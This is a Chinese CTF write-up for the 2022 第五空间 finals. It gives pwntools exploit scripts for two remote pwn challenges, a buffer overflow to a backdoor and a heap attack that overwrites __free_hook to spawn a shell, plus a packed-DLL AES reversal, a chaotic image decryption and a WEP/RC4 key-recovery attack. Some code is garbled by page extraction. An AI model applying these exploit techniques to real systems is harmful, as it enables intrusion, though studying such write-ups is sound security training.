2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集

admin 2023年2月2日17:44:56评论49 views字数 12253阅读40分50秒阅读模式

PWN

2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集

1. takeeasy
#!/usr/bin/env python2
# -*- coding: utf-8 -*- #

import os

from pwn import *
context.arch = "amd64"

# context.log_level = "debug"

# sh = process("./pwn")
sh = remote("39.107.243.76",24473)
backdoor = p64(0x40118A)
payload = "a"*24
payload += backdoor
sh.sendline(payload)

sh.interactive()


2. easyfp 
from pwn import*
context(os='linux',arch='amd64')
context.log_level=True
libc=ELF('./libc.so.6')
#p = process(["./ld-2.27.so", "./a"],env={"LD_PRELOAD":"./libc-2.27.so"})
#p=process('./pwn',env={'LD_PRELOAD':'./libc.so.6'})
#p=process('./npuctf_pwn')
p=remote('39.106.158.47',30614)
def add(data):
 p.recvuntil('>> ')
 p.sendline('1')
 p.recvuntil('Name:n')

 p.send(str(data))
def edit(data):
 p.recvuntil('>> ')
 p.sendline('3')
 p.recvuntil('ay what do you want to say')
 p.send(str(data))
def delete(data):
 p.recvuntil('>> ')
 p.sendline('2')
 p.recvuntil('Name:')

 p.send(data)
def bye(data):
 p.recvuntil('>> ')
 p.sendline('4')
 p.recvuntil('Do you really want to say bye?n')

 p.sendline(data)
 
for i in range(12):
 add(str(i))
#edit('bbbbb')
#add('10')
for i in range(8):
 edit('bbbbb')
 bye('1')

add('bbb')
add('ccc')
delete('1')
delete('2')
delete('3')
delete('4')
delete('5')
delete('6')
delete('7')
delete('9')
delete('10')


add('1')
add('2')
add('3')
add('4')
add('5')
add('6')
add('7')

add('xa0x26')
delete('1')
delete('2')
edit('bbbbb')
bye('1')
delete('8')
edit('bbbbb')

edit('bbbbb')
bye('1')

add('xf0')


add('1')
add('2')
payload=p64(0xfbad1887)+p64(0)*3+'x00'
add(payload)
#edit('x11')
add(payload)

p.recv(8)
leak=u64(p.recv(8))
libcbase=leak-(0x7ffff7fc1980-0x00007ffff7dd5000)

add('3')


delete('1')

delete('2')

delete('3')
#delete('bbb')

edit('bbbbb')

bye('1')
system=libcbase+libc.sym['system']
freehook=libcbase+libc.sym['__free_hook']
add(p64(freehook))
add('/bin/shx00')
add('/bin/shx00')
add(p64(system))

print hex(freehook)
#gdb.attach(p,'b *0x00005555555559cc')
#raw_input()
delete('/bin/shx00')

p.interactive()



Reverse

2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集

DDI 
程序有壳,等其运行后再输入的时候中断,然后分别将其中几个dll dump出来:

2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集

脱壳后分析以下文件
Check .dll
__int64 check()
{
int i; // [rsp+2Ch] [rbp-4h]

for ( i = 0; i <= 31; ++i )
 *(_BYTE *)(qword_61BC92E4 + i) ^= 0x66u;
return qword_61BC92F4();
}

2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集

Change.dll [check 调用]
__int64 change()
{
_BYTE v1[32]; // [rsp+0h] [rbp-80h] BYREF
char v2[16]; // [rsp+20h] [rbp-60h] BYREF
__int64 v3; // [rsp+30h] [rbp-50h] BYREF
char v4[48]; // [rsp+60h] [rbp-20h] BYREF

strcpy(v4, "0123456789abcdef");
memset(&v1[32], 0, 0x30ui64);
*(_WORD *)&v1[80] = 0;
sub_685419D8(v4, qword_6854A2F0, v2);
sub_685419D8(v4, qword_6854A2F0 + 16, &v3);
sub_68542FA8(qword_6854A2F0, v2, 32i64);
return qword_6854A2E8();
}
Cmp.dll

2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集

int cmp()
{
_BYTE v1[32]; // [rsp+0h] [rbp-80h] BYREF
char v2[56]; // [rsp+20h] [rbp-60h]
int i; // [rsp+58h] [rbp-28h]
int v4; // [rsp+5Ch] [rbp-24h]

v4 = 0;
memset(&v1[32], 0, 0x30ui64);
*(_WORD *)&v1[80] = 0;
v2[0] = -47;
v2[1] = -9;
v2[2] = -76;
v2[3] = 103;
v2[4] = 114;
v2[5] = 30;
v2[6] = 37;
v2[7] = -70;
v2[8] = 68;
v2[9] = 121;
v2[10] = 45;
v2[11] = -59;
v2[12] = -4;
v2[13] = -102;
v2[14] = -49;
v2[16] = -87;
v2[17] = -88;
v2[18] = -7;
v2[19] = -19;
v2[20] = 77;
v2[21] = 14;
v2[22] = 116;
v2[23] = 97;
v2[24] = -72;
v2[25] = 23;
v2[26] = -115;
v2[27] = -113;
v2[28] = -3;
v2[29] = 109;
v2[30] = 30;
v2[31] = 101;
for ( i = 0; i <= 31; ++i )
{
 if ( *((_BYTE *)input + i) != v2[i] )
   v4 = 1;
}
if ( v4 )
 return j_printf("u lose");
else
 return j_printf("u win");
}
Main.exe

2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集


int __cdecl main(int argc, const char **argv, const char **envp)
{
sub_401650(argc, argv, envp);
printf("pls input your input:");
scanf("%s", input);
check();
return 0;
}

2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集


2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集
cmp check两个 dll在main函数中调用 
Change.dll [check dll中调用]
现在要求 cmp dll中的核心代码 

2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集

发现是AES加密,首先input ^ 0x66:

2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集


2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集

AES的key为0123456789abcdef,用python加密发现结果和本程序的结果有偏差,发现rcon被修改了:

2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集

网上找了一个解密程序,修改一下Rcon还有其中代码,然后将目标加密值dump出来直接解密得到flag:

2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集

解密程序:https://github.com/Yunyung/Cryptography-AES-implement-in-C/blob/master/AES_decrypt.c
修改如下几个地方代码如下,一个是Rcon数组,另外一个是flag输出的位置,异或0x66:

2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集


2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集


运行结果如下:

2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集


Crypto

2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集

1. chaotic 
import cv2
import numpy as np
from tqdm import tqdm
def decrypt(img,key):
im=cv2.imread(img)[:,:,(0,1,2)]
[w,h,dim]=im.shape
pixels = im.flatten(order = 'C')
R=list(pixels[:w*h])
G=list(pixels[w*h:2*w*h])
B=list(pixels[2*w*h:])


# 先用原密钥生成相应的参数

a0=key[0]
p0=key[1]
u0=key[2]
v0=key[3]
w0=key[4]
x0=key[5]
y0=key[6]
z0=key[7]
q0=key[8]

a=36
b=3
c=28
d=16
k=0.2
t=100
U,V,W,X=Chen(u0,v0,w0,x0,a,b,c,d,k,t+3*w*h)
U=U[t:]
V=V[t:]
W=W[t:]
X=X[t:]


# 先用X解码

for i in range(3*w*h):
 rule='ACGT'
 if(int(X[i]%1/0.05) in [0,4,8,10,19]):
   rule='GTAC'
 elif(int(X[i]%1/0.05) in [1,6,12,14,17]):
   rule='TGCA'
 elif(int(X[i]%1/0.05) in [2,7,11,13,16]):
   rule='CTAG'
 elif(int(X[i]%1/0.05) in [3,5,9,15,18]):
   rule='TCGA'
 if(i/(w*h)<1):
   R[i]=Encode(R[i],rule)
 elif(i/(w*h)<2):
   G[i-w*h]=Encode(G[i-w*h],rule)
 else:
   B[i-2*w*h]=Encode(B[i-2*w*h],rule)

# 然后是加密部分,异或加密,所以全抄

start=[]
times=[]
for i in V:
 start.append(int(i*pow(10,12))%8)
for i in W:
 times.append(int(i*pow(10,12))%8)

startR=start[:w*h]
startG=start[w*h:2*w*h]
startB=start[2*w*h:]
timesR=times[:w*h]
timesG=times[w*h:2*w*h]
timesB=times[2*w*h:]
rules=['ACGT','CATG','GTAC','TCGA','CTAG','AGCT','TGCA','GATC']
for i in range(w*h):
 s=startR[i]
 for j in range(timesR[i]):
   R[i]=XOR(R[i],rules
展开收缩
)
   s=(s+1)%8

for i in range(w*h):
 s=startG[i]
 for j in range(timesG[i]):
   G[i]=XOR(G[i],rules
展开收缩
)
   s=(s+1)%8

for i in range(w*h):
 s=startB[i]
 for j in range(timesB[i]):
   B[i]=XOR(B[i],rules
展开收缩
)
   s=(s+1)%8


# 然后用U解码

for i in range(3*w*h):
 rule='ACGT'
 if(int(U[i]%1/0.05) in [0,4,8,10,19]):
   rule='AGCT'
 elif(int(U[i]%1/0.05) in [1,6,12,14,17]):
   rule='ACGT'
 elif(int(U[i]%1/0.05) in [2,7,11,13,16]):
   rule='GATC'
 elif(int(U[i]%1/0.05) in [3,5,9,15,18]):
   rule='CATG'
 if(i/(w*h)<1):
   R[i]=Decode(R[i],rule)
 elif(i/(w*h)<2):
   G[i-w*h]=Decode(G[i-w*h],rule)
 else:
   B[i-2*w*h]=Decode(B[i-2*w*h],rule)


# 接着 R,G,B 三个通道分别恢复顺序,这里用到np.argsort()函数

t=100
f=10
r=28
g=8/3
Y,Z,Q=Lorenz(y0,z0,q0,f,r,g,t+w*h)
Y=Y[t:]
Z=Z[t:]
Q=Q[t:]

lenth = len(R)
RR = [0]*lenth
YY = np.array(list(Y))
Ya = np.argsort(YY)
for i in range(lenth):
 RR[Ya[i]]=R[i]

lenth = len(G)
GG = [0]*lenth
ZZ = np.array(list(Z))
Za = np.argsort(ZZ)
for i in range(lenth):
 GG[Za[i]]=G[i]

lenth = len(B)
BB = [0]*lenth
QQ = np.array(list(Q))
Qa = np.argsort(QQ)
for i in range(lenth):
 BB[Qa[i]]=B[i]

pixels_new = RR+GG+BB

# 最后根据ai,在整体恢复一下顺序

ai=[]
for i in range(3*w*h):
 if 0<=a0<p0:
   a0=a0/p0
 elif a0<0.5:
   a0=(a0-p0)*(0.5-p0)
 else:
   a0=1-a0
 ai.append(a0)

aii = np.array(list(ai))
aia = np.argsort(aii)
lenth = len(pixels_new)
VV = [0]*lenth
for i in range(lenth):
 VV[aia[i]]=pixels_new[i]

# 保存

encrypt_img=np.array(VV).reshape((512,512,3),order='C')
return encrypt_img


def Lorenz(x0,y0,z0,p,q,r,T):
h=0.01
x=[]
y=[]
z=[]
for t in range(T):
 xt=x0+h*p*(y0-x0)
 yt=y0+h*(q*x0-y0-x0*z0)
 zt=z0+h*(x0*y0-r*z0)
 x0,y0,z0=xt,yt,zt
 x.append(x0)
 y.append(y0)
 z.append(z0)
return x,y,z

def Chen(u0,v0,w0,x0,a,b,c,d,k,T):
h=0.001
u=[]
v=[]
w=[]
x=[]
for t in range(T):
 ut=u0+h*(a*(v0-u0))
 vt=v0+h*(-u0*w0+d*u0+c*u0-x0)
 wt=w0+h*(u0*v0-b*w0)
 xt=u0+k
 #u0、v0、w0,x0统一更新
 u0,v0,w0,x0=ut,vt,wt,xt
 u.append(u0)
 v.append(v0)
 w.append(w0)
 x.append(x0)
return u,v,w,x


def Encode(pixel,rule):
base=''
bits=bin(pixel)[2:].zfill(8)
for k in range(4):
 b=bits[k*2:2*k+2]
 if b=='00':
   base+=rule[0]
 elif b=='01':
   base+=rule[1]
 elif b=='10':
   base+=rule[2]
 else:
   base+=rule[3]
return base

def Decode(base,rule):
pixel=''
for k in base:
 if k==rule[0]:
   pixel+='00'
 elif k==rule[1]:
   pixel+='01'
 elif k==rule[2]:
   pixel+='10'
 else:
   pixel+='11'
return int(pixel,2)

def XOR(base1,base2):
pixel=Decode(base1,'AGCT')^Decode(base2,'AGCT')
return Encode(pixel,'AGCT')

def main():
key = [0.49226688, 0.28059747, 0.87321577, 0.63073925, 0.66753483, 0.49983341, 0.37095885, 0.12800098, 0.14163127, 0.23561871]
img_decrypt=decrypt("encryptflag.tiff",key)
cv2.imwrite('./flag.jpg',img_decrypt)

if __name__ == '__main__':
main()


2. babystream 
import sys, csv
from rc4 import *

ivFilename = "WEPOutputSim.csv1"
rows = []
box = []
# In WEP, the header of SNAP is always 'aa'.
plainSNAP = "aa"

with open(ivFilename, 'r') as csvfile:
 csvreader = csv.reader(csvfile)
 for row in csvreader:
     rows.append(row)
print(rows[-1])
keyLength = int(rows[-1][0]) - 2
print("keyLength is: " + str(keyLength))

key = [None] * 3+[184, 171, 237, 196, 235, 101, 26, 131, 42, 25, 214, 39, 172, 223, 48, 40, 163, 142, 171, 239, 70, 118, 66, 84, 140, 3, 164, 40, 117, 70, 133, 214, 193, 101, 98, 29, 207, 160, 217, 15, 127, 68, 89, 170, 97, 216, 12, 240, 99, 198, 79, 247, 170]+[101]
for A in range(54,64):
 prob = [0] * 256
 for row in rows:
     key[0] = int(row[0])
     key[1] = int(row[1])
     key[2] = int(row[2])

     j = 0
     initSBox(box)

     # Simulate the S-Box after KSA initialization.
     for i in range(A + 3):
         j = (j + box[i] + key[i]) % 256
         swapValueByIndex(box, i, j)
         # Record the original box[0] and box[1] value.
         if i == 1:
             original0 = box[0]
             original1 = box[1]

     i = A + 3
     z = box[1]
     # if resolved condition is possibly met.
     if z + box[z] == A + 3:
         # If the value of box[0] and box[1] has changed, discard this possibility.
         if (original0 != box[0] or original1 != box[1]):
             continue
         keyStreamByte = int(row[3]) ^ int(plainSNAP, 16)
         keyByte = (keyStreamByte - j - box[i]) % 256
         prob[keyByte] += 1
     # Assume that the most hit is the correct password.
     higherPossibility = prob.index(max(prob))
 if A in (53,):
     print(prob,A,max(prob))
 key.append(higherPossibility)

# Get rid of first 24-bit initialization vector.
userInput = key[3:]
result = [format(key, '02x'for key in userInput]
rawkey = ''.join(result).upper()
print(rawkey)

from pwn import *

sh=remote("39.107.127.105","59537")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
#context.log_level = 'debug'

def proof_of_work(sh):
 sh.recvuntil("XXXX + ")
 suffix = sh.recvuntil(')').decode("utf8")[:-1]
 log.success(suffix)
 sh.recvuntil("== ")
 cipher = sh.recvline().strip().decode("utf8")
 proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
 sh.sendlineafter("Give me XXXX:", proof)

def hiv(iv):
 return ''.join(hex(i)[2:].rjust(2,'0'for i in iv)

proof_of_work(sh)
sh.recvuntil("n")
plainSNAP = "aa"
iv = [3, 255, 0]
WEPOutputSim = open("WEPOutputSim.csv""a")
from tqdm import tqdm
for A in tqdm(range(64)):
 iv[0] = A + 3
 for thirdByte in range(256):
  iv[2] = thirdByte
  sh.sendline(hiv(iv)+"||"+plainSNAP)
  cipherByte = int(sh.recvuntil("n")[:-1],16)

  WEPOutputSim.write(str(iv[0]) + "," + str(iv[1]) + "," + str(iv[2]) + "," + str(cipherByte) + "n")

# Helper function, which swaps two values in the box.
def swapValueByIndex(box, i, j):
 temp = box[i]
 box[i] = box[j]
 box[j] = temp

# Initialize S-box.
def initSBox(box):
 if len(box) == 0:
     for i in range(256):
         box.append(i)
 else:
     for i in range(256):
         box[i] = i

# Key schedule Algorithm (KSA) for key whose value is in unicode.
def ksa(key, box):
 j = 0
 for i in range(256):
     j = (j + box[i] + ord(key[i % len(key)])) % 256
     swapValueByIndex(box, i, j)

# KSA for key whose value is int
def ksaInt(key, box):
 j = 0
 for i in range(256):
     j = (j + box[i] + key[i % len(key)]) % 256
     swapValueByIndex(box, i, j)

# Pseudo-random generation algorithm (PRGA).
def prga(plain, box, keyStream, output):
 i = 0
 j = 0
 # Loop through every byte in plain text.
 for i in range(len(plain)):
     i = (i + 1) % 256
     j = (j + box[i]) % 256
     swapValueByIndex(box, i, j)
     keyStreamByte = box[(box[i] + box[j]) % 256]
     outputByte = chr(ord(plain[i-1]) ^ keyStreamByte)
     keyStream += chr(keyStreamByte)
     output += outputByte
 return (keyStream, output)

def main():
 SYMMETRIC_KEY_FILE_NAME = "sym_keyfile.key"
 # In symmetric key decryption, input file could also be "encryption.enc"
 INPUT_FILE_NAME = "plain.txt"
 KEYSTREAM_FILE_NAME = "keystream.key"
 # In symmetric key decryption, output file could also be "decryption.txt"
 OUTPUT_FILE_NAME = "encryption.enc"
 # Get symmetric key.
 keyFile = open(SYMMETRIC_KEY_FILE_NAME, "rb")
 key = keyFile.read()

 # Get plain text.
 plainFile = open(INPUT_FILE_NAME, "rb")
 plain = plainFile.read()

 box = []

 # intialize keyStream and output
 keyStream = ""
 output = ""

 initSBox(box)
 ksa(key, box)
 (keyStream, output) = prga(plain, box, keyStream, output)
 keyStreamFile = open(KEYSTREAM_FILE_NAME, "w")
 outputFile = open(OUTPUT_FILE_NAME, "w")
 keyStreamFile.write(keyStream)
 outputFile.write(output)

if __name__ == "__main__":
 main()

原文始发于微信公众号(山石网科安全技术研究院):2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月2日17:44:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2022第五空间决赛WriteUp|pwn、reverse、crypto方向合集http://cn-sec.com/archives/1344683.html

发表评论

匿名网友 填写信息